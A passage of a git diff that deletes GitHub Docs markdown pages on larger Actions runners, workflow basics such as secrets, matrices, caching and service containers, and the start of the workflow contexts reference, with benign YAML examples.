reusables.actions.select-a-larger-runner %} -{% data reusables.actions.resize-larger-runner %} -{% endif %} - -## Changing the image of a {% data variables.actions.hosted_runner %} - -{% ifversion ghec %} -You can edit the image of your {% data variables.actions.hosted_runner %}s if you are using a {% data variables.product.github %}-owned image. For a list of our managed images see the [{% data variables.product.prodname_actions %} Runner Images](https://github.com/actions/runner-images) repository. - -* [Changing the image of an organization runner](#changing-the-image-of-an-organization-runner) -* [Changing the image of an enterprise runner](#changing-the-image-of-an-enterprise-runner) - -### Changing the image of an organization runner - -{% endif %} - -{% data reusables.organizations.navigate-to-org %} -{% data reusables.organizations.org_settings %} -{% data reusables.organizations.settings-sidebar-actions-runners %} -{% data reusables.actions.select-a-larger-runner %} -{% data reusables.actions.reimage-larger-runner %} - -{% ifversion ghec %} - -### Changing the image of an enterprise runner - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.actions-tab %} -{% data reusables.enterprise-accounts.actions-runners-tab %} -{% data reusables.actions.select-a-larger-runner %} -{% data reusables.actions.reimage-larger-runner %} -{% endif %} - -## Configuring autoscaling for {% data variables.actions.hosted_runner %}s - -You can control the maximum number of jobs allowed to run concurrently for specific runner sets. Setting this field to a higher value can help prevent workflows being blocked due to parallelism. - -{% ifversion ghec %} -* [Configuring autoscaling for an organization runner](#configuring-autoscaling-for-an-organization-runner) -* [Configuring autoscaling for an enterprise runner](#configuring-autoscaling-for-an-enterprise-runner) - -### Configuring autoscaling for an organization runner - -{% endif %} - -{% data reusables.organizations.navigate-to-org %} -{% data reusables.organizations.org_settings %} -{% data reusables.organizations.settings-sidebar-actions-runners %} -{% data reusables.actions.select-a-larger-runner %} -{% data reusables.actions.configure-autoscaling-for-larger-runners %} - -{% ifversion ghec %} - -### Configuring autoscaling for an enterprise runner - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.actions-tab %} -{% data reusables.enterprise-accounts.actions-runners-tab %} -{% data reusables.actions.select-a-larger-runner %} -{% data reusables.actions.configure-autoscaling-for-larger-runners %} -{% endif %} - -## Creating static IP addresses for {% data variables.actions.hosted_runner %}s - -> [!NOTE] -> To use static IP addresses, your organization must use {% data variables.product.prodname_ghe_cloud %}. {% data reusables.enterprise.link-to-ghec-trial %} - -You can enable static IP addresses for {% data variables.actions.hosted_runner %}s. When you do this, the {% data variables.actions.hosted_runner %}s are assigned static IP address ranges. All IP addresses in the range assigned are usable and not in CIDR notation. By default, you can configure up to 10 different {% data variables.actions.hosted_runner %}s with IP ranges for your account. {% data reusables.actions.larger-runner-static-ip-contact-support %} - -The number of available IP addresses in the assigned ranges does not restrict number of concurrent jobs specified for autoscaling. Within a runner pool, there is a load balancer which allows for high reuse of the IP addresses in the assigned ranges. This ensures your workflows can run concurrently at scale while each machine is assigned a static IP address. - -{% ifversion ghec %} - -* [Creating static IP addresses for organization runners](#creating-static-ip-addresses-for-organization-runners) -* [Creating static IP addresses for enterprise runners](#creating-static-ip-addresses-for-enterprise-runners) - -### Creating static IP addresses for organization runners - -{% endif %} - -{% data reusables.organizations.navigate-to-org %} -{% data reusables.organizations.org_settings %} -{% data reusables.organizations.settings-sidebar-actions-runners %} -{% data reusables.actions.select-a-larger-runner %} -{% data reusables.actions.networking-for-larger-runners %} - -{% ifversion ghec %} - -### Creating static IP addresses for enterprise runners - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.actions-tab %} -{% data reusables.enterprise-accounts.actions-runners-tab %} -{% data reusables.actions.select-a-larger-runner %} -{% data reusables.actions.networking-for-larger-runners %} -{% endif %} diff --git a/content/actions/using-github-hosted-runners/using-larger-runners/running-jobs-on-larger-runners.md b/content/actions/using-github-hosted-runners/using-larger-runners/running-jobs-on-larger-runners.md deleted file mode 100644 index 216443d2b709..000000000000 --- a/content/actions/using-github-hosted-runners/using-larger-runners/running-jobs-on-larger-runners.md +++ /dev/null @@ -1,200 +0,0 @@ ---- -title: Running jobs on larger runners -shortTitle: Run jobs on larger runners -intro: 'You can speed up your workflows by configuring them to run on {% data variables.actions.hosted_runner %}s.' -permissions: '{% data reusables.actions.larger-runner-permissions %}' -defaultPlatform: linux -versions: - feature: actions-hosted-runners -redirect_from: - - /actions/using-github-hosted-runners/running-jobs-on-larger-runners - - /actions/using-github-hosted-runners/about-larger-runners/running-jobs-on-larger-runners ---- - -## Running jobs on your runner - -{% linux %} - -{% data reusables.actions.run-jobs-larger-runners %} - -{% endlinux %} - -{% windows %} - -{% data reusables.actions.run-jobs-larger-runners %} - -{% endwindows %} - -{% mac %} - -Once your runner type has been defined, you can update your workflow YAML files to send jobs to runner instances for processing. To run jobs on macOS {% data variables.actions.hosted_runner %}s, update the `runs-on` key in your workflow YAML files to use one of the {% data variables.product.company_short %}-defined labels for macOS runners. For more information, see [Available macOS {% data variables.actions.hosted_runner %}s](#available-macos-larger-runners). - -{% endmac %} - -{% mac %} - -## Available macOS {% data variables.actions.hosted_runner %}s - -Use the labels in the table below to run your workflows on the corresponding macOS {% data variables.actions.hosted_runner %}. - -{% data reusables.actions.larger-runners-table %} - -> [!NOTE] -> For macOS {% data variables.actions.hosted_runner %}s, the `-latest` runner label uses the macOS 12 runner image. For macOS Xlarge, the `-latest` runner label uses the macOS 13 runner image - -{% endmac %} - -{% ifversion repository-actions-runners %} - -## Viewing available runners for a repository - -{% data reusables.actions.about-viewing-runner-list %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.actions-tab %} -{% data reusables.repositories.repository-runners %} -1. Review the list of available runners for the repository. -{% data reusables.actions.copy-runner-label %} - -{% data reusables.actions.actions-tab-new-runners-note %} - -{% endif %} - -{% linux %} - -## Using groups to control where jobs are run - -{% data reusables.actions.jobs.example-runs-on-groups %} - -{% endlinux %} - -{% windows %} - -## Using groups to control where jobs are run - -{% data reusables.actions.jobs.example-runs-on-groups %} - -{% endwindows %} - -{% linux %} - -## Using labels to control where jobs are run - -{% data reusables.actions.runner-labels-implicit %} - -In this example, the `runs-on` key sends the job to any available runner that has been assigned the `ubuntu-20.04-16core` label: - -```yaml -name: learn-github-actions -on: [push] -jobs: - check-bats-version: - runs-on: - labels: ubuntu-20.04-16core - steps: - - uses: {% data reusables.actions.action-checkout %} - - uses: {% data reusables.actions.action-setup-node %} - with: - node-version: '14' - - run: npm install -g bats - - run: bats -v -``` - -{% data reusables.actions.runner-labels %} - -{% endlinux %} - -{% windows %} - -## Using labels to control where jobs are run - -{% data reusables.actions.runner-labels-implicit %} - -In this example, the `runs-on` key sends the job to any available runner that has been assigned the `windows-2022-16core` label: - -```yaml -name: learn-github-actions -on: [push] -jobs: - check-bats-version: - runs-on: - labels: windows-2022-16core - steps: - - uses: {% data reusables.actions.action-checkout %} - - uses: {% data reusables.actions.action-setup-node %} - with: - node-version: '14' - - run: npm install -g bats - - run: bats -v -``` - -{% data reusables.actions.runner-labels %} - -{% endwindows %} - -{% mac %} - -## Targeting macOS {% data variables.actions.hosted_runner %}s in a workflow - -To run your workflows on macOS {% data variables.actions.hosted_runner %}s, set the value of the `runs-on` key to a label associated with a macOS {% data variables.actions.hosted_runner %}. For a list of macOS {% data variables.actions.hosted_runner %} labels, see [Available macOS {% data variables.actions.hosted_runner %}s](#available-macos-larger-runners). - -In this example, the workflow uses a label that is associated with macOS XL runners. The `runs-on` key sends the job to any available runner with a matching label: - -```yaml -name: learn-github-actions-testing -on: [push] -jobs: - build: - runs-on: macos-13-xlarge - steps: - - uses: {% data reusables.actions.action-checkout %} - - name: Build - run: swift build - - name: Run tests - run: swift test -``` - -{% endmac %} - -{% linux %} - -## Using labels and groups to control where jobs are run - -{% data reusables.actions.jobs.example-runs-on-labels-and-groups %} - -{% data reusables.actions.section-using-unique-names-for-runner-groups %} - -{% endlinux %} - -{% windows %} - -## Using labels and groups to control where jobs are run - -{% data reusables.actions.jobs.example-runs-on-labels-and-groups %} - -{% data reusables.actions.section-using-unique-names-for-runner-groups %} - -{% endwindows %} - -## Troubleshooting {% data variables.actions.hosted_runner %}s - -{% linux %} - -{% data reusables.actions.larger-runners-troubleshooting-linux-windows %} - -{% endlinux %} - -{% windows %} - -{% data reusables.actions.larger-runners-troubleshooting-linux-windows %} - -{% endwindows %} - -{% mac %} - -Because macOS arm64 does not support Node 12, macOS {% data variables.actions.hosted_runner %}s automatically use Node 16 to execute any JavaScript action written for Node 12. Some community actions may not be compatible with Node 16. If you use an action that requires a different Node version, you may need to manually install a specific version at runtime. - -> [!NOTE] -> ARM-powered runners are currently in {% data variables.release-phases.public_preview %} and are subject to change. - -{% endmac %} diff --git a/content/actions/writing-workflows/about-workflows.md b/content/actions/writing-workflows/about-workflows.md deleted file mode 100644 index 36860dbaabb9..000000000000 --- a/content/actions/writing-workflows/about-workflows.md +++ /dev/null @@ -1,206 +0,0 @@ ---- -title: About workflows -shortTitle: About workflows -intro: 'Get a high-level overview of {% data variables.product.prodname_actions %} workflows, including triggers, syntax, and advanced features.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: overview -redirect_from: - - /articles/configuring-workflows - - /actions/learn-github-actions/managing-complex-workflows - - /actions/using-workflows/advanced-workflow-features - - /actions/using-workflows/about-workflows -topics: - - Workflows -layout: inline ---- - -## About workflows - -{% data reusables.actions.about-workflows-long %} - -## Workflow basics - -A workflow must contain the following basic components: - -1. One or more _events_ that will trigger the workflow. -1. One or more _jobs_, each of which will execute on a _runner_ machine and run a series of one or more _steps_. -1. Each step can either run a script that you define or run an action, which is a reusable extension that can simplify your workflow. - -For more information on these basic components, see [AUTOTITLE](/actions/learn-github-actions/understanding-github-actions#the-components-of-github-actions). - -![Diagram of an event triggering Runner 1 to run Job 1, which triggers Runner 2 to run Job 2. Each of the jobs is broken into multiple steps.](/assets/images/help/actions/overview-actions-simple.png) - -## Triggering a workflow - -{% data reusables.actions.about-triggers %} - -For more information, see [AUTOTITLE](/actions/using-workflows/triggering-a-workflow), and for a full list of events, see [AUTOTITLE](/actions/using-workflows/events-that-trigger-workflows). - -## Workflow syntax - -Workflows are defined using YAML. For the full reference of the YAML syntax for authoring workflows, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#about-yaml-syntax-for-workflows). - -For more on managing workflow runs, such as re-running, cancelling, or deleting a workflow run, see [AUTOTITLE](/actions/managing-workflow-runs). - -## Using workflow templates - -{% data reusables.actions.workflow-template-overview %} - -{% data reusables.actions.workflow-templates-repo-link %} - -## Advanced workflow features - -This section briefly describes some of the advanced features of {% data variables.product.prodname_actions %} that help you create more complex workflows. - -### Storing secrets - -If your workflows use sensitive data, such as passwords or certificates, you can save these in {% data variables.product.prodname_dotcom %} as _secrets_ and then use them in your workflows as environment variables. This means that you will be able to create and share workflows without having to embed sensitive values directly in the workflow's YAML source. - -This example job demonstrates how to reference an existing secret as an environment variable, and send it as a parameter to an example command. - -{% raw %} - -```yaml -jobs: - example-job: - runs-on: ubuntu-latest - steps: - - name: Retrieve secret - env: - super_secret: ${{ secrets.SUPERSECRET }} - run: | - example-command "$super_secret" -``` - -{% endraw %} - -For more information, see [AUTOTITLE](/actions/security-guides/using-secrets-in-github-actions). - -### Creating dependent jobs - -By default, the jobs in your workflow all run in parallel at the same time. If you have a job that must only run after another job has completed, you can use the `needs` keyword to create this dependency. If one of the jobs fails, all dependent jobs are skipped; however, if you need the jobs to continue, you can define this using the `if` conditional statement. - -In this example, the `setup`, `build`, and `test` jobs run in series, with `build` and `test` being dependent on the successful completion of the job that precedes them: - -```yaml -jobs: - setup: - runs-on: ubuntu-latest - steps: - - run: ./setup_server.sh - build: - needs: setup - runs-on: ubuntu-latest - steps: - - run: ./build_server.sh - test: - needs: build - runs-on: ubuntu-latest - steps: - - run: ./test_server.sh -``` - -For more information, see [AUTOTITLE](/actions/using-jobs/using-jobs-in-a-workflow#defining-prerequisite-jobs). - -### Using a matrix - -{% data reusables.actions.jobs.about-matrix-strategy %} The matrix is created using the `strategy` keyword, which receives the build options as an array. For example, this matrix will run the job multiple times, using different versions of Node.js: - -```yaml -jobs: - build: - runs-on: ubuntu-latest - strategy: - matrix: - node: [14, 16] - steps: - - uses: {% data reusables.actions.action-setup-node %} - with: - node-version: {% raw %}${{ matrix.node }}{% endraw %} -``` - -For more information, see [AUTOTITLE](/actions/using-jobs/using-a-matrix-for-your-jobs). - -### Caching dependencies - -If your jobs regularly reuse dependencies, you can consider caching these files to help improve performance. Once the cache is created, it is available to all workflows in the same repository. - -This example demonstrates how to cache the `~/.npm` directory: - -```yaml -jobs: - example-job: - steps: - - name: Cache node modules - uses: {% data reusables.actions.action-cache %} - env: - cache-name: cache-node-modules - with: - path: ~/.npm - key: {% raw %}${{ runner.os }}-build-${{ env.cache-name }}-${{ hashFiles('**/package-lock.json') }}{% endraw %} - restore-keys: | - {% raw %}${{ runner.os }}-build-${{ env.cache-name }}-{% endraw %} -``` - -For more information, see [AUTOTITLE](/actions/using-workflows/caching-dependencies-to-speed-up-workflows). - -### Using databases and service containers - -If your job requires a database or cache service, you can use the [`services`](/actions/using-jobs/running-jobs-in-a-container) keyword to create an ephemeral container to host the service; the resulting container is then available to all steps in that job and is removed when the job has completed. This example demonstrates how a job can use `services` to create a `postgres` container, and then use `node` to connect to the service. - -```yaml -jobs: - container-job: - runs-on: ubuntu-latest - container: node:20-bookworm-slim - services: - postgres: - image: postgres - steps: - - name: Check out repository code - uses: {% data reusables.actions.action-checkout %} - - name: Install dependencies - run: npm ci - - name: Connect to PostgreSQL - run: node client.js - env: - POSTGRES_HOST: postgres - POSTGRES_PORT: 5432 -``` - -For more information, see [AUTOTITLE](/actions/using-containerized-services). - -### Using labels to route workflows - -If you want to be sure that a particular type of runner will process your job, you can use labels to control where jobs are executed. You can assign labels to a self-hosted runner in addition to their default label of `self-hosted`. Then, you can refer to these labels in your YAML workflow, ensuring that the job is routed in a predictable way. {% data variables.product.prodname_dotcom %}-hosted runners have predefined labels assigned. - -This example shows how a workflow can use labels to specify the required runner: - -```yaml -jobs: - example-job: - runs-on: [self-hosted, linux, x64, gpu] -``` - -A workflow will only run on a runner that has all the labels in the `runs-on` array. The job will preferentially go to an idle self-hosted runner with the specified labels. {% ifversion fpt or ghec %}If none are available and a {% data variables.product.prodname_dotcom %}-hosted runner with the specified labels exists, the job will go to a {% data variables.product.prodname_dotcom %}-hosted runner.{% endif %} - -To learn more about self-hosted runner labels, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/using-labels-with-self-hosted-runners). - -{% ifversion fpt or ghec %} -To learn more about {% data variables.product.prodname_dotcom %}-hosted runner labels, see [AUTOTITLE](/actions/using-github-hosted-runners/about-github-hosted-runners#supported-runners-and-hardware-resources). -{% endif %} - -### Reusing workflows - -{% data reusables.actions.reusable-workflows %} - -### Security hardening for workflows - -{% data reusables.actions.about-security-hardening-for-worklows %} - -### Using environments - -You can configure environments with protection rules and secrets to control the execution of jobs in a workflow. Each job in a workflow can reference a single environment. Any protection rules configured for the environment must pass before a job referencing the environment is sent to a runner. For more information, see [AUTOTITLE](/actions/deployment/targeting-different-environments/managing-environments-for-deployment). diff --git a/content/actions/writing-workflows/choosing-what-your-workflow-does/accessing-contextual-information-about-workflow-runs.md b/content/actions/writing-workflows/choosing-what-your-workflow-does/accessing-contextual-information-about-workflow-runs.md deleted file mode 100644 index af4aa0360ff7..000000000000 --- a/content/actions/writing-workflows/choosing-what-your-workflow-does/accessing-contextual-information-about-workflow-runs.md +++ /dev/null @@ -1,880 +0,0 @@ ---- -title: Accessing contextual information about workflow runs -shortTitle: Contexts -intro: You can access context information in workflows and actions. -redirect_from: - - /articles/contexts-and-expression-syntax-for-github-actions - - /github/automating-your-workflow-with-github-actions/contexts-and-expression-syntax-for-github-actions - - /actions/automating-your-workflow-with-github-actions/contexts-and-expression-syntax-for-github-actions - - /actions/reference/contexts-and-expression-syntax-for-github-actions - - /actions/reference/context-and-expression-syntax-for-github-actions - - /actions/learn-github-actions/contexts - - /actions/writing-workflows/choosing-what-your-workflow-does/contexts -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## About contexts - -{% data reusables.actions.actions-contexts-about-description %} Each context is an object that contains properties, which can be strings or other objects. - -{% data reusables.actions.context-contents %} For example, the `matrix` context is only populated for jobs in a [matrix](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstrategymatrix). - -You can access contexts using the expression syntax. For more information, see [AUTOTITLE](/actions/learn-github-actions/expressions). - -{% raw %} -`${{ <context> }}` -{% endraw %} - -{% data reusables.actions.context-injection-warning %} - -| Context name | Type | Description | -|---------------|------|-------------| -| `github` | `object` | Information about the workflow run. For more information, see [`github` context](#github-context). | -| `env` | `object` | Contains variables set in a workflow, job, or step. For more information, see [`env` context](#env-context). | -| `vars` | `object` | Contains variables set at the repository, organization, or environment levels. For more information, see [`vars` context](#vars-context). | -| `job` | `object` | Information about the currently running job. For more information, see [`job` context](#job-context). | -| `jobs` | `object` | For reusable workflows only, contains outputs of jobs from the reusable workflow. For more information, see [`jobs` context](#jobs-context). | -| `steps` | `object` | Information about the steps that have been run in the current job. For more information, see [`steps` context](#steps-context). | -| `runner` | `object` | Information about the runner that is running the current job. For more information, see [`runner` context](#runner-context). | -| `secrets` | `object` | Contains the names and values of secrets that are available to a workflow run. For more information, see [`secrets` context](#secrets-context). | -| `strategy` | `object` | Information about the matrix execution strategy for the current job. For more information, see [`strategy` context](#strategy-context). | -| `matrix` | `object` | Contains the matrix properties defined in the workflow that apply to the current job. For more information, see [`matrix` context](#matrix-context). | -| `needs` | `object` | Contains the outputs of all jobs that are defined as a dependency of the current job. For more information, see [`needs` context](#needs-context). | -| `inputs` | `object` | Contains the inputs of a reusable or manually triggered workflow. For more information, see [`inputs` context](#inputs-context). | - -As part of an expression, you can access context information using one of two syntaxes. - -* Index syntax: `github['sha']` -* Property dereference syntax: `github.sha` - -In order to use property dereference syntax, the property name must start with a letter or `_` and contain only alphanumeric characters, `-`, or `_`. - -If you attempt to dereference a nonexistent property, it will evaluate to an empty string. - -### Determining when to use contexts - -{% data variables.product.prodname_actions %} includes a collection of variables called _contexts_ and a similar collection of variables called _default variables_. These variables are intended for use at different points in the workflow: - -* **Default environment variables:** These environment variables exist only on the runner that is executing your job. For more information, see [AUTOTITLE](/actions/learn-github-actions/variables#default-environment-variables). -* **Contexts:** You can use most contexts at any point in your workflow, including when _default variables_ would be unavailable. For example, you can use contexts with expressions to perform initial processing before the job is routed to a runner for execution; this allows you to use a context with the conditional `if` keyword to determine whether a step should run. Once the job is running, you can also retrieve context variables from the runner that is executing the job, such as `runner.os`. For details of where you can use various contexts within a workflow, see [Context availability](#context-availability). - -The following example demonstrates how these different types of variables can be used together in a job: - -{% raw %} - -```yaml copy -name: CI -on: push -jobs: - prod-check: - if: ${{ github.ref == 'refs/heads/main' }} - runs-on: ubuntu-latest - steps: - - run: echo "Deploying to production server on branch $GITHUB_REF" -``` - -{% endraw %} - -In this example, the `if` statement checks the [`github.ref`](/actions/learn-github-actions/contexts#github-context) context to determine the current branch name; if the name is `refs/heads/main`, then the subsequent steps are executed. The `if` check is processed by {% data variables.product.prodname_actions %}, and the job is only sent to the runner if the result is `true`. Once the job is sent to the runner, the step is executed and refers to the [`$GITHUB_REF`](/actions/learn-github-actions/variables#default-environment-variables) variable from the runner. - -### Context availability - -Different contexts are available throughout a workflow run. For example, the `secrets` context may only be used at certain places within a job. - -In addition, some functions may only be used in certain places. For example, the `hashFiles` function is not available everywhere. - -The following table lists the restrictions on where each context and special function can be used within a workflow. The listed contexts are only available for the given workflow key, and may not be used anywhere else. Unless listed below, a function can be used anywhere. - -| Workflow key | Context | Special functions | -| ---- | ------- | ----------------- | -| `run-name` | `github, inputs, vars` | None | -| `concurrency` | `github, inputs, vars` | None | -| `env` | `github, secrets, inputs, vars` | None | -| `jobs.<job_id>.concurrency` | `github, needs, strategy, matrix, inputs, vars` | None | -| `jobs.<job_id>.container` | `github, needs, strategy, matrix, vars, inputs` | None | -| `jobs.<job_id>.container.credentials` | `github, needs, strategy, matrix, env, vars, secrets, inputs` | None | -| `jobs.<job_id>.container.env.<env_id>` | `github, needs, strategy, matrix, job, runner, env, vars, secrets, inputs` | None | -| `jobs.<job_id>.container.image` | `github, needs, strategy, matrix, vars, inputs` | None | -| `jobs.<job_id>.continue-on-error` | `github, needs, strategy, vars, matrix, inputs` | None | -| `jobs.<job_id>.defaults.run` | `github, needs, strategy, matrix, env, vars, inputs` | None | -| `jobs.<job_id>.env` | `github, needs, strategy, matrix, vars, secrets, inputs` | None | -| `jobs.<job_id>.environment` | `github, needs, strategy, matrix, vars, inputs` | None | -| `jobs.<job_id>.environment.url` | `github, needs, strategy, matrix, job, runner, env, vars, steps, inputs` | None | -| `jobs.<job_id>.if` | `github, needs, vars, inputs` | `always, cancelled, success, failure` | -| `jobs.<job_id>.name` | `github, needs, strategy, matrix, vars, inputs` | None | -| `jobs.<job_id>.outputs.<output_id>` | `github, needs, strategy, matrix, job, runner, env, vars, secrets, steps, inputs` | None | -| `jobs.<job_id>.runs-on` | `github, needs, strategy, matrix, vars, inputs` | None | -| `jobs.<job_id>.secrets.<secrets_id>` | `github, needs, strategy, matrix, secrets, inputs, vars` | None | -| `jobs.<job_id>.services` | `github, needs, strategy, matrix, vars, inputs` | None | -| `jobs.<job_id>.services.<service_id>.credentials` | `github, needs, strategy, matrix, env, vars, secrets, inputs` | None | -| `jobs.<job_id>.services.<service_id>.env.<env_id>` | `github, needs, strategy, matrix, job, runner, env, vars, secrets, inputs` | None | -| `jobs.<job_id>.steps.continue-on-error` | `github, needs, strategy, matrix, job, runner, env, vars, secrets, steps, inputs` | `hashFiles` | -| `jobs.<job_id>.steps.env` | `github, needs, strategy, matrix, job, runner, env, vars, secrets, steps, inputs` | `hashFiles` | -| `jobs.<job_id>.steps.if` | `github, needs, strategy, matrix, job, runner, env, vars, steps, inputs` | `always, cancelled, success, failure, hashFiles` | -| `jobs.<job_id>.steps.name` | `github, needs, strategy, matrix, job, runner, env, vars, secrets, steps, inputs` | `hashFiles` | -| `jobs.<job_id>.steps.run` | `github, needs, strategy, matrix, job, runner, env, vars, secrets, steps, inputs` | `hashFiles` | -| `jobs.<job_id>.steps.timeout-minutes` | `github, needs, strategy, matrix, job, runner, env, vars, secrets, steps, inputs` | `hashFiles` | -| `jobs.<job_id>.steps.with` | `github, needs, strategy, matrix, job, runner, env, vars, secrets, steps, inputs` | `hashFiles` | -| `jobs.<job_id>.steps.working-directory` | `github, needs, strategy, matrix, job, runner, env, vars, secrets, steps, inputs` | `hashFiles` | -| `jobs.<job_id>.strategy` | `github, needs, vars, inputs` | None | -| `jobs.<job_id>.timeout-minutes` | `github, needs, strategy, matrix, vars, inputs` | None | -| `jobs.<job_id>.with.<with_id>` | `github, needs, strategy, matrix, inputs, vars` | None | -| `on.workflow_call.inputs.<inputs_id>.default` | `github, inputs, vars` | None | -| `on.workflow_call.outputs.<output_id>.value` | `github, jobs, vars, inputs` | None | - -### Example: printing context information to the log - -You can print the contents of contexts to the log for debugging. The [`toJSON` function](/actions/learn-github-actions/expressions#tojson) is required to pretty-print JSON objects to the log. - -{% data reusables.actions.github-context-warning %} - -{% raw %} - -```yaml copy -name: Context testing -on: push - -jobs: - dump_contexts_to_log: - runs-on: ubuntu-latest - steps: - - name: Dump GitHub context - env: - GITHUB_CONTEXT: ${{ toJson(github) }} - run: echo "$GITHUB_CONTEXT" - - name: Dump job context - env: - JOB_CONTEXT: ${{ toJson(job) }} - run: echo "$JOB_CONTEXT" - - name: Dump steps context - env: - STEPS_CONTEXT: ${{ toJson(steps) }} - run: echo "$STEPS_CONTEXT" - - name: Dump runner context - env: - RUNNER_CONTEXT: ${{ toJson(runner) }} - run: echo "$RUNNER_CONTEXT" - - name: Dump strategy context - env: - STRATEGY_CONTEXT: ${{ toJson(strategy) }} - run: echo "$STRATEGY_CONTEXT" - - name: Dump matrix context - env: - MATRIX_CONTEXT: ${{ toJson(matrix) }} - run: echo "$MATRIX_CONTEXT" -``` - -{% endraw %} - -## `github` context - -The `github` context contains information about the workflow run and the event that triggered the run. You can also read most of the `github` context data in environment variables. For more information about environment variables, see [AUTOTITLE](/actions/learn-github-actions/variables). - -{% data reusables.actions.github-context-warning %} -{% data reusables.actions.context-injection-warning %} - -| Property name | Type | Description | -|---------------|------|-------------| -| `github` | `object` | The top-level context available during any job or step in a workflow. This object contains all the properties listed below. | -| `github.action` | `string` | The name of the action currently running, or the [`id`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsid) of a step. {% data variables.product.prodname_dotcom %} removes special characters, and uses the name `__run` when the current step runs a script without an `id`. If you use the same action more than once in the same job, the name will include a suffix with the sequence number with underscore before it. For example, the first script you run will have the name `__run`, and the second script will be named `__run_2`. Similarly, the second invocation of `actions/checkout` will be `actionscheckout2`. | -| `github.action_path` | `string` | The path where an action is located. This property is only supported in composite actions. You can use this path to access files located in the same repository as the action, for example by changing directories to the path: {% raw %} `cd ${{ github.action_path }}` {% endraw %}. | -| `github.action_ref` | `string` | For a step executing an action, this is the ref of the action being executed. For example, `v2`.<br><br>{% data reusables.actions.composite-actions-unsupported-refs %} | -| `github.action_repository` | `string` | For a step executing an action, this is the owner and repository name of the action. For example, `actions/checkout`.<br><br>{% data reusables.actions.composite-actions-unsupported-refs %} | -| `github.action_status` | `string` | For a composite action, the current result of the composite action. | -| `github.actor` | `string` | The username of the user that triggered the initial workflow run. If the workflow run is a re-run, this value may differ from `github.triggering_actor`. Any workflow re-runs will use the privileges of `github.actor`, even if the actor initiating the re-run (`github.triggering_actor`) has different privileges. | -| `github.actor_id` | `string` | {% data reusables.actions.actor_id-description %} | -| `github.api_url` | `string` | The URL of the {% data variables.product.prodname_dotcom %} REST API. | -| `github.base_ref` | `string` | The `base_ref` or target branch of the pull request in a workflow run. This property is only available when the event that triggers a workflow run is either `pull_request` or `pull_request_target`. | -| `github.env` | `string` | Path on the runner to the file that sets environment variables from workflow commands. This file is unique to the current step and is a different file for each step in a job. For more information, see [AUTOTITLE](/actions/using-workflows/workflow-commands-for-github-actions#setting-an-environment-variable). | -| `github.event` | `object` | The full event webhook payload. You can access individual properties of the event using this context. This object is identical to the webhook payload of the event that triggered the workflow run, and is different for each event. The webhooks for each {% data variables.product.prodname_actions %} event is linked in [AUTOTITLE](/actions/using-workflows/events-that-trigger-workflows). For example, for a workflow run triggered by the [`push` event](/actions/using-workflows/events-that-trigger-workflows#push), this object contains the contents of the [push webhook payload](/webhooks-and-events/webhooks/webhook-events-and-payloads#push). | -| `github.event_name` | `string` | The name of the event that triggered the workflow run. | -| `github.event_path` | `string` | The path to the file on the runner that contains the full event webhook payload. | -| `github.graphql_url` | `string` | The URL of the {% data variables.product.prodname_dotcom %} GraphQL API. | -| `github.head_ref` | `string` | The `head_ref` or source branch of the pull request in a workflow run. This property is only available when the event that triggers a workflow run is either `pull_request` or `pull_request_target`. | -| `github.job` | `string` | The [`job_id`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_id) of the current job. <br /> Note: This context property is set by the Actions runner, and is only available within the execution `steps` of a job. Otherwise, the value of this property will be `null`. | -| `github.path` | `string` | Path on the runner to the file that sets system `PATH` variables from workflow commands. This file is unique to the current step and is a different file for each step in a job. For more information, see [AUTOTITLE](/actions/using-workflows/workflow-commands-for-github-actions#adding-a-system-path). | -| `github.ref` | `string` | {% data reusables.actions.ref-description %} | -| `github.ref_name` | `string` | {% data reusables.actions.ref_name-description %} | -| `github.ref_protected` | `boolean` | {% data reusables.actions.ref_protected-description %} | -| `github.ref_type` | `string` | {% data reusables.actions.ref_type-description %} | -| `github.repository` | `string` | The owner and repository name. For example, `octocat/Hello-World`. | -| `github.repository_id` | `string` | {% data reusables.actions.repository_id-description %} | -| `github.repository_owner` | `string` | The repository owner's username. For example, `octocat`. | -| `github.repository_owner_id` | `string` | {% data reusables.actions.repository_owner_id-description %} | -| `github.repositoryUrl` | `string` | The Git URL to the repository. For example, `git://github.com/octocat/hello-world.git`. | -| `github.retention_days` | `string` | The number of days that workflow run logs and artifacts are kept. | -| `github.run_id` | `string` | {% data reusables.actions.run_id_description %} | -| `github.run_number` | `string` | {% data reusables.actions.run_number_description %} | -| `github.run_attempt` | `string` | A unique number for each attempt of a particular workflow run in a repository. This number begins at 1 for the workflow run's first attempt, and increments with each re-run. | -| `github.secret_source` | `string` | The source of a secret used in a workflow. Possible values are `None`, `Actions`{% ifversion fpt or ghec %}, `Codespaces`{% endif %}, or `Dependabot`. | -| `github.server_url` | `string` | The URL of the GitHub server. For example: `https://github.com`. | -| `github.sha` | `string` | {% data reusables.actions.github_sha_description %} | -| `github.token` | `string` | A token to authenticate on behalf of the GitHub App installed on your repository. This is functionally equivalent to the `GITHUB_TOKEN` secret. For more information, see [AUTOTITLE](/actions/security-guides/automatic-token-authentication). <br /> Note: This context property is set by the Actions runner, and is only available within the execution `steps` of a job. Otherwise, the value of this property will be `null`. | -| `github.triggering_actor` | `string` | {% data reusables.actions.github-triggering-actor-description %} | -| `github.workflow` | `string` | The name of the workflow. If the workflow file doesn't specify a `name`, the value of this property is the full path of the workflow file in the repository. | -| `github.workflow_ref` | `string` | {% data reusables.actions.workflow-ref-description %} | -| `github.workflow_sha` | `string` | {% data reusables.actions.workflow-sha-description %} | -| `github.workspace` | `string` | The default working directory on the runner for steps, and the default location of your repository when using the [`checkout`](https://github.com/actions/checkout) action. | - -### Example contents of the `github` context - -The following example context is from a workflow run triggered by the `push` event. The `event` object in this example has been truncated because it is identical to the contents of the 